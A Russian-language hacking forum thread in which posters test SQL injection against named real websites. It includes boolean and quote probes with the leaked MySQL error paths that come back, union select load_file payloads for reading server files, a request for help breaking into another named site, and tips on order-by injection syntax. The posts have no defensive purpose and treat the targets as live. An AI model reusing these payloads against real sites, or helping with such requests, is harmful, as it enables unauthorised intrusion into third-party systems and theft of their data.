и какое слово тут говорит что это не инъекция??? или вы сделали вывод из расчета:
http://www.turkishculturalfoundation.org//pages.php?ID=83-1
http://www.turkishculturalfoundation.org//pages.php?ID=82+AND+1=1
http://www.turkishculturalfoundation.org//pages.php?ID=82+AND+1=2

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/include/lib.php on line 117

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/include/lib.php on line 117

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/include/lib.php on line 117

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/include/lib.php on line 79



Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/www/users/turkish3/pages.php on line 297

об этом говорит хекерская догадка, смотри:
http://www.turkishculturalfoundation.org/pages.php?ID=82' ошибка есть
http://www.turkishculturalfoundation.org/pages.php?ID=82'' ошибки нет
http://www.turkishculturalfoundation.org/pages.php?ID=82''' ошибка есть
вывод=> ковычка слешируется и вырезается (остается слеш)
наглядно:
id='1\'
id='1\\'
id='1\\\'

__________________
Я так же грустен как орангутанг
Сидящей пред галдящею толпою
Суровый житель отогретых стран
Коварно преданный разлуке и покою
Ему и мне насмешница судьба
Дала для жизни крохотную клетку
Нам предстоит в ней долгоя хотьба
За тертую морковь, и за конфетку..

Нет тут иньекции, стоит фильтрация на отбрасывание правой части.

Есть директория D:\site.ru\index.php
Как прочитать этот файл через SQL-inj?
+union+select+load_file('D:\site.ru\index.php')--
Или
+union+select+load_file('D:/site.ru/index.php')--
?

thanks=)

можно так:
+union+select+load_file('D:/site.ru/index.php')--

можно и так:
+union+select+load_file('D:\\site.ru\\index.php')--

http://www.mzvezda.ru/type/1/51/39/
Кто поможет раскрутить?

привет посоветуйте как тут поступит:
на запрос localhost/script.php?id=1'+order+by+1+--+

ответ:
You have an error in your SQL syntax; check the manual that corresponds to your
MySQL server version for the right syntax to use near 'order+by+1+--+', now())'
at line 2
вот никак не могу раскрутит еще добавка now())'

localhost/script.php?id=1'%20order%20by%201--